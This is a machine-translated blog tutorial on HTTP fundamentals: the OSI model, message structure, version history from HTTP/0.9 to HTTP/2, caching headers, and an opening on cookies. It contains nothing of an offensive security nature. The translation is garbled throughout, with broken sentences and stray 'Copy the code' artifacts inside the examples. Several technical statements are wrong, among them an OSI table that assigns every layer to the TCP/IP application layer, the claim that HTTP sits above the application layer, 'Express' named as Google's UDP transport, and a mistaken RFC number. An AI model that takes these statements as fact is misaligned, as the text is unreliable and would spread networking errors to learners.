This paper is participating in theNetwork protocols must be known and must be known”Essay campaign

📢 preface

As a programmer, most of us tend to prefer back-end coding, but we should never forget our knowledge of the Web.

For those of you who are interested in network protocols, this introduction to the basics of HTTP is also very helpful. You can understand the whole process of HTTP

So this blog is going to go back to the basics of HTTP and get started at the very least!!

The article may be more theoretical, so do not finish the remember collection collection collection! Otherwise, I can’t find it in the future

This article provides a basic overview of HTTP, its evolution history, caching, cookies, cross-source resource sharing, messages, sessions, and connection management

Some places may be introduced not deep enough, want to understand alone a certain piece of the need for their own in-depth understanding!

This article introduces some of the basics of HTTP, at least when you mention it to others! Perfectly enough!

🎬 sixty thousand words HTTP necessary dry goods learning, programmers do not understand how the network line, a HTTP entry not collection are a pity!

First of all, what is HTTP? Anyone who knows anything about the web knows that HTTP is a hypertext transfer protocol, as opposed to SSH, FTP, and other protocols, right

Hypertext Transfer Protocol (HTTP) is an application layer protocol used to transfer hypermedia documents, such as HTML. It is the most widely used network protocol on the Internet
It is designed for communication between Web browsers and Web servers, but can also be used for other purposes.
HTTP follows the classic client-server model, where a client opens a connection to make a request and then waits until it receives a response.
HTTP is a stateless protocol, which means that the server does not retain any data (state) between requests.
HTTP is an extensible protocol that relies on concepts such as resources and uniform resource Identifiers (URIs), simple message structures, and client-server communication flows. On top of these basic concepts, many extensions have been developed over the years that add updated functionality and semantics using new HTTP methods or headers.

The HTTP protocol has five characteristics:

Client/server mode is supported.
Simple and quick:

When a client requests a service from a server, it simply passes the request method and path. 3. Flexibility: HTTP allows the transfer of any type of data object. The Type being transferred is marked by content-Type, which is the identifier used in the HTTP package to indicate the Content Type. 4. Connectionless: Connectionless means that only one request can be processed per connection. The server disconnects from the customer after processing the request and receiving the reply from the customer. In this way, transmission time can be saved. 5. Stateless: Stateless means that the protocol has no memory for transaction processing and the server does not know the status of the client. After we send an HTTP request to the server, the server will send us data based on the request, but no information will be recorded after sending the request (cookies and sessions are bred).

🍇 Network structure diagram

First to several network protocol related knowledge of the picture, to roughly understand

Below it are seven and five stories

This is a four-layer protocol for a seven-layer standard protocol

Layer 7 refers to the OSI seven-layer protocol model, which is mainly: Application layer, Presentation layer, Session layer, Transport layer, Network layer, Data Link layer and Physical layer.

The OSI model	The main agreement	unit	function	The main equipment	TCP/IP
The application layer	Telnet, FTP, HTTP, and SNMP	The data flow	Identify communication objects that provide interfaces to access network services	The gateway	The application layer
The presentation layer	CSS GIF HTML JSON XML GIF	The data flow	Responsible for data encoding and transformation (interface and binary data conversion, high-level language and machine language conversion) data compression, decompression, encryption, decryption. It is processed in different formats according to different application purposes, which is represented by the various file extensions we see.	The gateway	The application layer
The session layer	FTP SSH TLS HTTP(S) SQL	The data flow	Services that establish, maintain and control Simplex, Half Duplex and Full duplex communication modes	The gateway	The application layer
The transport layer	TCP UDP	Data segment	Split and combine data, implement end-to-end logical three-way handshake, connection-oriented or Connectionless services. Flow control and so on happens in this layer. Is the first end-to-end, host-to-host level.	The gateway	The application layer
The network layer	IP (IPV4 and IPV6) ICMP	The packet	Manage network addresses, locate devices, and determine routes	Router, bridge router	The application layer
Data link layer	802.2, 802.3ATM, HDLC	frame	Prepare physical transmission, CRC check, error notification, network topology, flow control, etc	Switch, bridge, nic	The application layer
The physical layer	V. 35, EIA/TIA – 232	bitstream	A physical link that sends and receives data in bitstreams	Hub, repeater, cable, transmitter, receiver	The application layer

Data transfer process demonstration

🍓 HTTP overview

HTTPProtocol is a system that defines rules for how data is exchanged within or between computers. Communication between devices requires that devices agree on the format of the data being exchanged. A set of rules that define formats, called protocols, allow fetching of resources, such as HTML documents. It is the foundation of any data exchange on the Web, and it is a client-server protocol, meaning that the request is initiated by the receiver (usually a Web browser). Rebuild the complete document from the different subdocuments obtained, such as text, layout descriptions, images, videos, scripts, and so on.Clients and servers communicate by exchanging individual messages rather than data streams. The message sent by the client (usually a Web browser) is called a request, and the message sent by the server as a reply is called a response.Designed in the early 1990s, HTTP is an extensible protocol that has evolved over time. It is an application-layer protocol sent over TCP or over a TCP connection encrypted over TLS, although theoretically any reliable transport protocol can be used. Because of its extensibility, it is used not only to fetch hypertext documents, but also to fetch images and videos, or to publish content to the server, such as HTML form results. HTTP can also be used to retrieve partial documents to update web pages as needed.

🏳️🌈 Components of an HTTP-based system

HTTP is a client-server protocol: requests are sent by an entity, the user agent (or the agent acting on its behalf). Most of the time, the user agent is a Web browser, but it can be anything, such as a robot that crawls the Web to populate and maintain a search engine index.

Each individual request is sent to a server, which processes it and provides an answer called response. For example, there are many entities between the client and server, collectively called proxies, that perform different operations and act as gateways or caches.In reality, there are more computers between the browser and the server handling the request: there are routers, modems, and so on. Due to the layered design of the Web, these are hidden in the network layer and transport layer. HTTP sits above the application layer. Although important for diagnosing network problems, the underlying layer is largely irrelevant to HTTP descriptions.

Client: user agent

The user agent is any tool acting on behalf of the user. This role is performed primarily by the Web browser; Other possibilities are programs that engineers and Web developers use to debug their applications.

The browser is always the entity that initiates the request. It will never be a server (although mechanisms have been added over the years to simulate the message of a server startup).

To render a web page, the browser sends a raw request to get the HTML document that represents the page. This file is then parsed to issue additional requests corresponding to executing the script, the layout information (CSS) to be displayed, and the subresources contained in the page (typically images and videos). The Web browser then blends these resources to present the user with a complete document, a Web page. The script executed by the browser can fetch more resources at a later stage, and the browser updates the page accordingly.

Web pages are hypertext documents. This means that some portion of the displayed text is a link that can be activated (usually with a mouse click) to get a new Web page, allowing users to guide their user agents and navigate the Web. The browser transforms these directions in the HTTP request and further interprets the HTTP response to present a clear response to the user.

Web server

On the other side of the communication channel is the server, which provides documents based on client requests. A server is really just a machine: this is because it may actually be a group of servers that share load (load balancing) or ask other computers for complex software (such as caching, database servers, or e-commerce servers), generating documents entirely or partially on demand.

The server is not necessarily a single machine, but you can host multiple instances of server software on the same machine. With HTTP/1.1 and the Host header, they may even share the same IP address.

The agent

Between the Web browser and the server, many computers and machines relay HTTP messages. Because of the layered structure of the Web stack, most of which runs at the transport, network, or physical level, it becomes transparent at the HTTP layer and can have a significant impact on performance. Those that operate at the application layer are often referred to as agents. These can be transparent, forwarding the requests they receive without changing them in any way, or opaque, in which case they will somehow change the request before passing it on to the server. An agent can perform a variety of functions:

Caching (caching can be public or private, such as browser caching)
Filtering (e.g. antivirus scanning or parental controls)
Load balancing (allowing multiple servers to service different requests)
Authentication (controlling access to different resources)
Logging (allows storage of historical information)

🏳️🌈 Basic aspects of HTTP

HTTP is simple

HTTP is generally designed to be simple and readable, even though HTTP/2 introduced additional complexity by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers and reducing complexity for novices.

HTTP is extensible

The introduction of HTTP headers in HTTP/1.0 made the protocol easy to extend and experiment with. New functionality can even be introduced through a simple agreement between client and server on new header semantics.

HTTP is stateless, but not session-free

HTTP is stateless: there is no link between two consecutive requests executed on the same connection. This can become an immediate problem for users trying to interact coherently with some page (for example, using an e-commerce shopping basket). But while HTTP itself is stateless at its core, HTTP cookies allow stateful sessions to be used. Using header extensibility, HTTP cookies are added to workflows, allowing sessions to be created on each HTTP request to share the same context or the same state.

HTTP and connection

Connections are controlled at the transport layer and are therefore fundamentally outside the scope of HTTP. Although HTTP does not require the underlying transport protocol to be connection-based; Only that it is reliable, or that no messages are lost (and therefore at least errors occur). Of the two most common transport protocols on the Internet, TCP is reliable, while UDP is not. Therefore, HTTP relies on the connection-based TCP standard.

Before the client and server can exchange HTTP request/response pairs, they must establish a TCP connection, a process that requires multiple round trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent consecutively.

To mitigate this shortcoming, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the Connection header section can be used to control the underlying TCP Connection. HTTP/2 goes a step further and helps keep connections warm and more efficient by multiplexing messages over a single connection.

Experiments are under way to design a better transport protocol for HTTP. Google, for example, is experimenting with Express, which is built on TOP of UDP to provide a more reliable and efficient transport protocol.

🏳️🌈 What can HTTP control

Over time, this extensible nature of HTTP allows for more control and functionality over the Web. Caching or authentication methods are functions that were handled early in HTTP history. By contrast, the ability to relax the origin constraint was not added until the 2010s.

The following is a list of common functions that can be controlled over HTTP.

The cache

How documents are cached can be controlled by HTTP. The server can indicate what agents and clients cache and for how long. The client can instruct the intermediate cache agent to ignore stored documents.

Relaxation of source restrictions

To prevent snooping and other privacy intrusions, Web browsers enforce strict separation between Web sites. Only pages from the same source can access all the information on a web page. While such constraints can be a burden on the server, HTTP headers can relax this strict separation on the server side, leaving documents as a patchwork of information from different domains; There may even be security-related reasons for doing so.

The authentication

Some pages may be protected so that only certain users can access them. Basic authentication can be provided by HTTP, either using WWw-authenticate and similar headers, or by setting up a specific session using HTTP cookies.

Agent and tunnel

Servers or clients typically reside on intranets and hide their real IP addresses from other computers. The HTTP request is then routed through the proxy to cross this network barrier. Not all proxies are HTTP proxies. For example, the SOCKS protocol runs at a lower level. Other protocols, such as FTP, can be handled by these agents.

The session

Using HTTP cookies allows you to associate requests with the state of the server. Although basic HTTP is a stateless protocol, this creates a session. This applies not only to e-commerce shopping baskets, but to any site that allows users to configure output.

🏳 ️ 🌈 HTTP flows

When the client wants to communicate with the server (end server or intermediate proxy), it performs the following steps:

Open a TCP connection: A TCP connection is used to send one or more requests and receive a reply. The client can open a new connection, reuse an existing connection, or open several TCP connections to the server.
Send HTTP Messages: HTTP messages (prior to HTTP/2) are human-readable. In HTTP/2, these simple messages are wrapped in frames that cannot be read directly, but the principle remains the same. For example,

GET/HTTP/1.1 Host: developer.mozilla.org Accept-Language: frCopy the code

Read the response sent by the server, such as:

HTTP/1.1 200 OK
Date: Sat, 09 Oct 2010 14:28:02 GMT
Server: Apache
Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
ETag: "51142bc1-7449-479b075b2891b"
Accept-Ranges: bytes
Content-Length: 29769
Content-Type: text/html

<! DOCTYPEhtml. (here comes the 29769 bytes of the requested web page)
Copy the code

Close or reuse the connection for further requests.

If HTTP pipelining is enabled, multiple requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proved difficult to implement on existing networks, where older software co-exists with modern versions. HTTP pipelining has been replaced in HTTP/2 with more powerful multiplexing requests within frames.

🏳 ️ 🌈 HTTP message

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations such as compression headers and multiplexing. Even though only a portion of the original HTTP message is sent in this version of HTTP, the semantics of each message remain unchanged, and the client reconstructs (virtualizes) the original HTTP/1.1 request. Therefore, it is useful to understand HTTP/2 messages in HTTP/1.1 format.

There are two types of HTTP messages, request and response, each with its own format.

request

Example HTTP request:A request consists of the following elements:

An HTTP method, usually a verb like GET, POST or a noun like OPTIONS or HEAD defines the action the client wants to perform. Typically, a client wants to GET a resource (using GET) or publish the value of an HTML form (using POST), but in other cases more may be required.
The path to the resource to obtain; Resource urls stripped from obvious elements in the context, such as no protocol (http://), domain (here developer.mozilla.org) or TCP port (here 80).
Version of the HTTP protocol.
An optional header that communicates additional information to the server.

The response

A sample response:The response consists of the following elements:

The version of the HTTP protocol they follow.
A status code that indicates if the request was successful, or not, and why.
Status messages, short, unauthoritative descriptions of status codes.
HTTP headers, just like the request headers.
Optionally, contains the body of the resource retrieved.

🏳️🌈 Http-based API

The most common http-based API is the XMLHttpRequestAPI, which can be used to exchange data between the user agent and the server. The modern Fetch API provides the same functionality and a more powerful and flexible set of features.

Another API, Server-Sent Events, is a one-way service that allows the server to send events to the client using HTTP as a transport mechanism. Using the EventSource interface, the client opens a connection and establishes an event handler. The client browser automatically converts messages arriving at the HTTP flow into the appropriate Event objects, passing them to either the Event handler registered for the Event (type if known), or the onMessage if no specific type of Event handler has been established.

HTTP is an easy-to-use, extensible protocol. The client-server architecture, combined with the ability to add headers, allows HTTP to evolve with the extended capabilities of the Web. Although HTTP/2 has added some complexity, the basic structure of messages has remained the same since HTTP/1.0 by embedding HTTP messages in frames to improve performance. The session flow is kept simple, allowing it to be investigated and debugged using a simple HTTP message monitor.

The evolution of the 🍉 HTTP

HTTP (Hypertext Transfer Protocol) is the underlying protocol of the World Wide Web. Developed by Tim Berners-Lee and his team between 1989 and 1991, HTTP went through many changes, retaining much of its simplicity and further shaping its flexibility. HTTP has evolved from an early protocol for exchanging files in semi-trusted laboratory environments to a modern Internet maze that now hosts high-resolution and 3D images and video.

🏳️🌈 Invention of the World Wide Web

In 1989, while working at CERN, Tim Berners-Lee wrote a proposal for a hypertext system on the Internet. Originally called Mesh, it was later renamed world Wide Web during implementation in 1990. It is built on existing TCP and IP protocols and consists of four building blocks:

A text format for representing hypertext documents, hypertext Markup Language (HTML).
A simple protocol for exchanging hypertext documents, hypertext Transfer Protocol (HTTP).
A client that displays (and edits) hypertext documents, namely a web browser. The first web browser was called the World Wide Web.
A server to serve accessible documents is a precursor to HTTPD.

These four sections were completed by the end of 1990, and the first servers were already up and running outside CERN in early 1991. Tim Berners-Lee’s article on the Open Text Super News Group on August 16, 1991 is regarded as the beginning of the public project on the World Wide Web.

HTTP was very simple in its early days, and later became HTTP/0.9, and sometimes one-line.

🏳️🌈HTTP/0.9 – Single-line protocol

The original VERSION of HTTP does not have a version number. Later versions are set to 0.9. HTTP/0.9 is very simple: the request consists of a single line of statements, starting with a unique method called GET, followed by a path to the target resource (protocol, server, port number, etc. are not required when the game is connected to the server).

GET /mypage.html
Copy the code

The response is also extremely simple: it contains only the response document.

<HTML>This is a very simple HTML page</HTML>
Copy the code

Unlike later versions, HTTP/0.9 responses do not contain HTTP headers, indicating that only HTML files can be sent, not other types of files. There are no status codes or error codes: when a problem occurs, a special HTML file containing information describing the problem is sent back for people to view.

🏳️🌈HTTP/1.0 — Build scalability

Due to the very limited use of the HTTP/0.9 protocol, servers and servers quickly expanded content browsing to a wider range:

The protocol version information is now sent along with the request (HTTP/1.0 was added to the GET line).
The status code is sent at the beginning of the response, enabling the browser to know whether the request was successfully executed or failed and adjust the behavior accordingly (such as update or local use).
The introduction of the HTTP header concept allows metadata to be transmitted, both for requests and responses, making the protocol very flexible and extensible.
With the help of the new HTTP header, you have the ability to transfer documents of other types than plain text HTML files (thanks to the Content-Type header).

A typical request looks like this:

GET /mypage.html HTTP/1.0 User-agent: NCSA_Mosaic/2.0 (Windows 3.1) 200 OK Date: Tue, 15 Nov 1994 08:12:31 GMT Server: CERN / 3.0 libwww / 2.17 the content-type: text/HTML<HTML>A page containing images<IMG SRC="/myimage.gif">
</HTML>
Copy the code

Next comes the second connection, requesting the image:

GET /myimage.gif HTTP/1.0 User-agent: NCSA_Mosaic/2.0 (Windows 3.1) 200 OK Date: Tue, 15 Nov 1994 08:12:32 GMT Server: CERN/3.0 libwww/2.17 content-type: text/ GIFCopy the code

In 1991-1995, these new extensions were not introduced into the standard to help work, but as an attempt: the server and browser added these new extension features, but there were a lot of interoperability problems. It was not until November 1996 that a new document (RFC 145) was published to address these issues, describing how to practice these new extensions. The document RFC 1945 defines HTTP/1.0, but it is narrow and not an official standard.

🏳️🌈HTTP/1.1 – Modular protocol

Various implementations of HTTP/1.0 In the practice document, revisions to the first standard version of HTTP began in 1995, the year after HTTP/1.0 was released. In early 1997, the HTTP1.1 standard was released, just after HTTP/1.0 was released.

HTTP/1.1 removes a lot of ambiguity and references declarations:

The connection can be made once, saving a lot of time to open the TCP connection and load the web document resources.
The first addition of the degradation technique allows a second request after the first notification has been fully sent to reduce latency.
Supports response chunking.
Introduce additional detection controls.
Introduce content negotiation mechanisms, including language, encoding, encoding, etc., and allow conventions between client and server to exchange the most appropriate content.
Thanks to the Host header, different domain names can be configured on the same IP address of the server.

A typical request flow, with all requests implemented through a connection, would look something like this:

GET/en-us /docs/Glossary/Simple_header HTTP/1.1 Host: developer.mozilla.org User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; The rv: 50.0) Gecko / 20100101 Firefox 50.0 / Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: en - US, en. Q =0.5 Accept-encoding: gzip, deflate, br Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header 200 OK Connection: Keep-Alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Wed, 20 Jul 2016 10:55:30 GMT Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" Keep-Alive: timeout=5, max=1000 Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT Server: Apache Transfer-Encoding: chunked Vary: Cookie, accept-encoding (content) GET /static/img/header-background. PNG HTTP/1.1 Host: Developer.mozilla.org the user-agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.9; Rv :50.0) Gecko/20100101 Firefox/50.0 Accept: */* Accept-language: en-us,en; Q =0.5 Accept-encoding: gzip, deflate, br Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header 200 OK Age: 9578461 Cache-Control: public, max-age=315360000 Connection: keep-alive Content-Length: 3077 Content-Type: image/png Date: Thu, 31 Mar 2016 13:34:46 GMT Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT Server: Apache (image content of 3077 bytes)Copy the code

HTTP/1.1 was released as RFC 2068 in January 1997.

🏳️🌈 over 21 years of expansion

Due to the extensibility of the HTTP protocol — it is easy to create new headers and methods — even though HTTP/1.1 has been revised twice, RFC 2616 was published in June 1999, and two other documents RFC 7230-RFC 7235 were published in June 2014, As a preview of HTTP/2.

The HTTP protocol has been in stable use for more than 21 years.

HTTP is used for secure transport

The biggest change to HTTP came at the end of 1994. HTTP sends messages on top of the basic TCP/IP stack, on which Netscape Communication has created an additional encrypted transport layer: SSL. SSL 1.0 was not released outside the company, but SSL 2.0 and its successors, SSL 3.0 and SSL 3.1, allow the creation of e-commerce sites by encrypting the authenticity of messages exchanged between servers and clients. SSL was eventually on the road to standardization as TLS, successfully closing the vulnerability with versions 1.0, 1.1, and 1.2. TLS 1.3 is currently being formed.
At the same time, people’s demand for an encrypted transport layer also more and more high, because the Web is an almost the earliest academic network, relatively high credibility, but now have to face a hostile jungle: advertisers, random individuals or criminals to their personal information, the information for your own, even the changes that will be transmitted data. As applications built over HTTP become more powerful and can access more and more private information, such as address books, E-mail, or a user’s geographic location, the need for TLS is becoming common even outside of e-commerce use.

HTTP is used for complex applications

Tim Berners-Lee’s original vision for the Web was not a read-only medium. He envisioned a Web that could add or move documents remotely, a distributed file system. Around 1996, HTTP was extended to allow authoring, and a standard called WebDAV was created. It further extends specific applications such as CardDAV to handle address book entries and CalDAV to handle calendars.
But all of these *DAV extensions have one drawback: they have to be implemented by the server to be used, which is very complex. And their use in the online realm must be kept secret.
In 2000, a new model for using HTTP was devised: Representational State Transfer, or REST. Operations initiated by the API are no longer communicated through the new HTTP methods, but can only be accessed through specific URIs using the basic HTTP / 1.1 methods. This allows any Web application to view and modify its data without updating the browser or server by providing apis: All what is needed was embedded in the files served by the Web sites through Standard HTTP/1.1. The downside of the REST model is that each site defines its own non-standard RESTful API and has full control over it; Unlike the *DAV extension, the client and server are interoperable. RESTful apis became very popular in 2010.

The number of apis available for Web pages has increased significantly since 2005, with several extending the HTTP protocol for specific purposes, mostly with new specific HTTP headers:

Server-sent Events, the Server can occasionally push messages to the browser.
WebSocket, a new protocol, can be established by upgrading existing HTTP protocols.

Relax the Web’s security model

HTTP and Web security models – the same origin policy is unrelated. In fact, the current Web security model was not developed until HTTP was created! Over the years, it has proved more useful if it can be relaxed by removing some of the restrictions of this strategy within certain constraints. These policies result in a lot of cost and time spent adding some new HTTP headers to send by forwarding them to the server. These are defined in the Cross-Origin Resource Sharing (CORS) or The Content Security Policy (CSP) specifications.

In addition to this extensive extension, many other heads have been added, some of them experimental. The famous ones are Do Not Track (DNT) to control privacy, X-frame-options, and many more.

🏳️🌈HTTP/2 – For better performance

Over the years, the web has grown more complex, even evolving into proprietary applications, the amount of visible media being played, and the size of scripts that enhance interaction have increased a lot: more data is being transferred over HTTP requests. HTTP/1.1 links require the requests to be sent in the correct order, and in theory you could use some parallel links (especially 5 to 8), with considerable cost and complexity. HTTP pipelining, for example, is a burden on Web development.
Between 2010 and 2015, Google demonstrated an alternative way to exchange data between the client and server by implementing an experimental SPDY protocol. It collects focus issues for developers on both the browser and server side. SPDY became the basis for the HTTP/2 protocol, recognizing the increased number of responses and addressing complex data transfers.

HTTP/2 differs from HTTP/1.1 in several basic ways:

HTTP/2 is a binary protocol rather than a text protocol. No longer readable or frictionless to create manually, improved optimization techniques can now be implemented.
This is a multiplexing protocol. Parallel requests can be processed within the same link, removing the order and blocking constraints of HTTP/1.x.
I’m compressing headers. Because Headers is often similar across a series of requests, it removes duplication and the cost of transferring duplicate data.
It allows the server to populate the client cache with data requested in advance through a mechanism called server push.

After being formally standardized in May 2015, HTTP/2 has been extremely successful, with 8.7% of sites already using it, representing over 68% of requests, by July 2016. High-traffic sites are the most rapidly popularized, saving considerable costs and expenses on data transmission.

This rapid adoption is most likely due to the fact that HTTP2 does not require site and application changes: using HTTP/1.1 and HTTP/2 is transparent to them. It’s enough to have an up-to-date server and interact with a newer browser. Only a small percentage of people need to change, and as older browsers and servers are updated without the need for Web developers to do anything, the number of people using them naturally increases.

🏳️🌈 after HTTP/2 evolution

With the release of HTTP/2. like HTTP/1.x before it, HTTP has not stopped evolving, and HTTP extensibility is still being used to add new functionality. In particular, we can list the new EXTENSIONS to HTTP in 2016:

Alt-svc support allows for the location and identification of a given resource, allowing for a more intelligent CDN buffering mechanism.
The introduction of client-hints allows the browser or Client to actively communicate information about its requirements or hardware constraints to the server.
Introducing security-related prefixes in Cookie headers now helps ensure that a secure Cookie has not been changed.

The evolution of HTTP has proven its extensibility and simplicity, freeing up the creativity and willingness of many applications to use the protocol. The context in which HTTP is used today is very different from the early 1990s. HTTP’s original design lived up to its reputation as a masterpiece, allowing the Web to grow peacefully and steadily for 25 years. Fixing bugs while preserving the flexibility and extensibility that made HTTP so successful, HTTP/2’s popularity bodes well for the protocol.

🍒 HTTP cache

By reusing previously acquired resources, you can significantly improve the performance of your web site and application. Web caching reduces wait time and network traffic, thus reducing the time required to display resource representations. Become more responsive by using HTTP caching.

🏳️🌈 Different kinds of caches

Caching is a technique for saving a copy of a resource and using it directly on the next request. When the Web cache discovers that the requested resource has been stored, it intercepts the request and returns a copy of the resource rather than going to the source server to download it again. The benefits include reduced server-side stress and improved performance (less time to acquire resources). Caching is an important part of achieving high performance for web sites. Caches need to be configured properly, because not all resources are permanent: it is important that the cache of a resource expires until the next time it changes (i.e., an expired resource cannot be cached).
There are many types of caches, which can be roughly grouped into two categories: private and shared caches. Responses stored in a shared cache can be used by multiple users. Private caches can only be used by individual users. This article will mainly introduce browser and proxy cache, in addition to gateway cache, CDN, reverse proxy cache and load balancer deployed on the server, to provide better stability, performance and scalability for sites and Web applications.

(Private) browser cache

Private caches can only be used by individual users. You’ve probably seen the “cache” option in your browser Settings. The browser cache holds all documents downloaded by the user over HTTP. These caches provide backward/forward navigation of browsed documents, save web pages, view source code, and other functions to avoid making redundant requests to the server again. It also provides offline browsing of cached content.

(Shared) proxy cache

The shared cache can be used by multiple users. For example, an ISP or your company might set up a Web proxy to provide to users as part of the local network infrastructure. Hot resources can then be reused, reducing network congestion and latency.

🏳️🌈 Target of the cache operation

Although HTTP caching is not required, it is often necessary to reuse cached resources. However, common HTTP caches store only GET responses, not other types of responses. The key to caching is the Request Method and the target URI (usually only GET requests are cached). Common cache cases:

A successful response to a retrieval request: for a GET request, the response status code: 200 is considered successful. A response that contains, for example, an HTML document, image, or file.
Permanent redirect: Response status code: 301.
Error response: a page with response status code 404.
Incomplete response: Response status code 206, only partial information is returned.
If a response is matched as a defined cache key name, except for a GET request.

For some specific requests, keywords can also be used to distinguish between different responses stored in multiple stores to form the contents of the cache. See information on Vary below for details.

🏳️🌈 Cache control

The cache-control header

The cache-control header defined in HTTP/1.1 is used to distinguish between support for caching mechanisms, and is supported by both request and response headers. Caching policies are defined by the different values it provides.

No cache can store anything about client requests or server responses. The complete response is downloaded for each request initiated by the client.

Cache-Control: no-store
Copy the code

Cache but revalidate the following header definition, this way, every time a request, will cache the request to the server (translator note: the request should be with a local cache related validation field), the server will verify the request described in the cache is outdated, if has not expired (note: the actual return 304), the cache to use the local cached copy.

Cache-Control: no-cache
Copy the code

Private and public caches The “public” directive indicates that the response can be cached by any middleman (intermediate proxy, CDN, etc.). If “public” is specified, pages that are not normally cached by middlemen (such as pages with HTTP authentication information (account password) or some specific status code) will be cached by middlemen.

“Private” means that the response is dedicated to a single user, the middleman cannot cache the response, and the response can only be applied to the browser’s private cache.

Cache-Control: private
Cache-Control: public
Copy the code

Expiration The most important directive in the expiration mechanism is “max-age=”, which indicates the maximum amount of time a resource can be cached (kept fresh). In contrast to Expires, max-age is the number of seconds since the request was initiated. For files that do not change in an application, you can manually set the duration to ensure that the cache is valid, such as static resources such as images, CSS, and JS.

See caching effectiveness below for more details.

Cache-Control: max-age=31536000
Copy the code

Validation When the “must-revalidate” directive is used, it means that when a cache is considering using an obsolete resource, it must verify its state first. The expired cache will not be used. See more about cache validation below.

Cache-Control: must-revalidate
Copy the code

Pragma header

Pragma is a header property defined in the HTTP/1.0 standard. The effect of the Pragma included in the request is defined in the cache-control header: No-cache is the same, but the HTTP response header does not explicitly define this property, so it is not a complete replacement for the cache-control header defined in HTTP/1.1. Pragma is generally defined for backward compatibility with HTTP/ 1.0-based clients.

🏳 ️ 🌈 freshness

In theory, when a resource is cached, it should be permanently stored in the cache. Because caches have limited space to store copies of resources, caches periodically remove copies, a process called cache eviction. On the other hand, when the server resources updated above, the corresponding resources should also be updated in the cache, because HTTP protocol is C/S mode, the server to update a resource, can’t be directly to notify the client cache updates, so both parties must agree to the resource an expiration time, before the expiration time, The resource (cache copy) is fresh, and the resource (cache copy) becomes stale after expiration.
Expel algorithm is used to the resources of the old (cached copy) replaced with fresh, note that an old resource (cached copy) is not directly be cleared or ignored, when the client initiates a request, caching retrieved for a corresponding old resources (cached copy), the cache will attach the request an If – None – Match head, If the server returns 304 (Not Modified), the resource copy is fresh, which can save some bandwidth. If the server determines that the resource has expired by if-none-match or if-modified-since, the entity content of the resource is returned.

Here is a diagram of the caching process described above:

For requests with a particular header, the cache lifetime is calculated. For example, cache-control: max-age=N, the corresponding Cache lifetime is N. Typically, requests that do not contain this attribute are checked to see if the Expires attribute is included, and the cache is still valid by comparing the Expires value to the Date attribute in the header. If neither max-age nor Expires attributes are present, look for last-Modified information in the header. If so, the lifetime of the cache is equal to the Date value in the header minus the last-modified value divided by 10.

The calculation formula of cache invalidation time is as follows:

expirationTime = responseTime + freshnessLifetime - currentAge
Copy the code

In this case, responseTime represents the point in time at which the browser received the response.

To improve the resources

The more we use cached resources, the better the responsiveness and performance of the site will be. To optimize caching, it is a good policy to set expiration times as long as possible. This is safe for resources that are regularly or frequently updated, but can be problematic for resources that are not updated for a long time. These fixed resources benefit from this long-term caching strategy for a while, but are difficult to update once they are updated. Js/CSS files introduced on web pages that need to be updated as soon as possible when they change.
Web developers invented a technique called Revving by Steve Souders [1]. Files that are infrequently updated are named in a specific way: the version number is appended to the URL (usually the file name). A resource with a version number is treated as a completely new and independent resource with a cache expiration period of one year or more. The downside is that all references to the resource need to be updated. Web developers often use automated build tools to do these chores in the real world. When the low frequency updated resource (JS/CSS) changes, only make entry changes in the high frequency updated resource file (HTML).
Another advantage of this approach is that updating both cache resources at the same time does not cause part of the cache to be updated first, causing the contents of the new and old files to be inconsistent. For CSS and JS files that depend on each other, it is important to avoid such inconsistencies.

The version number appended to the accelerator file does not have to be an official version number string, such as 1.1.3 or other fixed incremented version numbers. It can be any token to prevent cache collisions such as a hash or a timestamp.

🏳️🌈 Cache verification

Cache validation starts when the user hits the refresh button. If the cached response header contains a “cache-control: must-revalidate” definition, the Cache validation will also be triggered during browsing. In addition, setting Advanced->Cache to force validation caching in browser preferences can achieve the same effect.
When a cached document expires, you need to validate the cache or retrieve resources. Validation occurs only if the server returns a strong or weak validator.

ETags

As a strong validator for the cache, the ETag response header is a value that is opaque to the User Agent (UA). For HTTP UAs like browsers, you don’t know what ETag stands for, and you can’t predict what its value will be. If the resource request has an ETag in the response header, the client can apply if-none-match headers to subsequent requests to verify the cache.
The last-Modified response header can serve as a weak validator. Weak because it can only be accurate to one second. If the response header contains this information, the client can validate the cache with if-modified-since on subsequent requests.
When a request is made to the server for cache validation, the server returns either 200 OK indicating a normal result or 304 Not Modified indicating that the browser can use the local cache file. The 304 response header can also update the expiration time of cached documents.

🏳 ️ 🌈 than the response

Vary HTTP response headers determine how to decide whether to request a new resource or use a cached file for subsequent headers.

When the cache server receives a request, the cached response can only be used if the current request and the original (cached) request header match the Vary in the cached response header.

Using the Vary header facilitates dynamic diversity of content services. For example, with the Vary: user-Agent header, the cache server needs the UA to determine whether to use the cached page. If you need to differentiate between mobile and desktop displays, this way you can avoid displaying the wrong layout on different terminals. In addition, it can help Google or other search engines better discover mobile versions of pages and tell search engines that Cloaking is not being introduced.

Vary: User-Agent
Copy the code

Because the mobile version is different from the user-Agent in the desktop client’s request header, the cache server does not mistakenly output the mobile content to the desktop to the User.

🍑 HTTP cookies

RFC 6265 defines how cookies work. When processing an HTTP request, the server can Set a Cookie for the client using the HTTP Headers set-cookie in the HTTP response header. Then, for each request from the same server, the client sends the value of the Cookie in the form of a field Cookie in the HTTP request header. Cookies can also be set to expire on a specific date, or restricted to a specific domain and path.

An HTTP Cookie (also known as a Web Cookie or browser Cookie) is a small piece of data that a server sends to a user’s browser and keeps locally. It is carried and sent to the server the next time the browser makes a request to the same server. Typically, it is used to tell the server whether two requests are from the same browser, such as to keep the user logged in. Cookies make it possible to record stable state information over stateless HTTP protocols.

Cookies are mainly used for the following three aspects:

